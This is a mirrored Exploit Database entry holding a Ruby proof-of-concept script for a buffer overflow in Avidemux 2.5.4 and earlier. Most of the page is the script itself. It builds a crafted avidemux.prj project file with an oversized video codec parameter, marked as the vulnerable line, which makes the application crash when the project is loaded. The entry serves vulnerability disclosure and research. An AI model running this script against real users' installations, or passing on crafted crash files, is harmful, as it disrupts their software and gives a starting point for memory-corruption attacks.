Avidemux 2.5.4 – Buffer Overflow

• Exploit Database
• 102 阅读

• 作者： The_UnKn@wn
  日期： 2010-11-05
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/15428/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64

  #!/usr/bin/env ruby # avidemux_crash.rb # # Title : Avidemux <= 2.5.4 Buffer Overflow PoC # Date : 31.10.2010 # Version : <= 2.5.4 # Software Link : http://avidemux.sourceforge.net/download.html / http://avidemux.razorbyte.com.au/ # Author : The_UnKn@wn # Email : the_unknown [at] group51 [dot] org # Homepage : http://group51.org # Tested on : openSUSE 11.3 and Windows XP SP3 English # # Usage: # ruby avidemux_crash.rb <a *.mpg file> # Start Avidemux --> Load/Run Project --> crash!! # # Note: # You can also use another video file format you would have to change the Format in Line and maybe some other stuff #54 too #   file = ARGV[0]   if file.nil? puts "Usage: ruby #{__FILE__} <path to sample video .mpg file>" exit end name = "avidemux.prj"   text = "//AD<- Needed to identify//\n" + "//--automatically built--\n"+ "var app = new Avidemux();\n"+ "//** Video **\n"+ "// 01 videos source \n"+ "app.load(\"#{file}\");\n"+ "//01 segments:\n"+ "app.clearSegments();\n"+ "app.addSegment(0,0,157699);\n"+ "app.markerA=0;\n"+ "app.markerB=77543;\n"+ "app.rebuildIndex();\n"+ "//** Postproc **\n"+ "app.video.setPostProc(3,3,0);\n"+ "app.video.fps1000 = 25000;\n"+ "//** Filters **\n"+ "//** Video Codec conf **\n"+ "app.video.codec(\"Copy\", \"CQ=4\", \"200 \"); \n"+ # <-- here is the vuln app.video.codec("Copy","CQ=4","0 "); "//** Audio **\n"+ "app.audio.reset();\n"+ "app.audio.codec(\"copy\",-1078515528,0,\"\");\n"+ "app.audio.normalizeMode=0;\n"+ "app.audio.normalizeValue=0;\n"+ "app.audio.delay=0;\n"+ "app.audio.mixer=\"NONE\";\n"+ "app.setContainer(\"AVI\");\n"+ "setSuccess(1);\n"+ "//app.Exit();\n"+ "//End of script"   File.open(name, "w") do |f| f.puts(text) end   puts "File #{name} has been created successfully"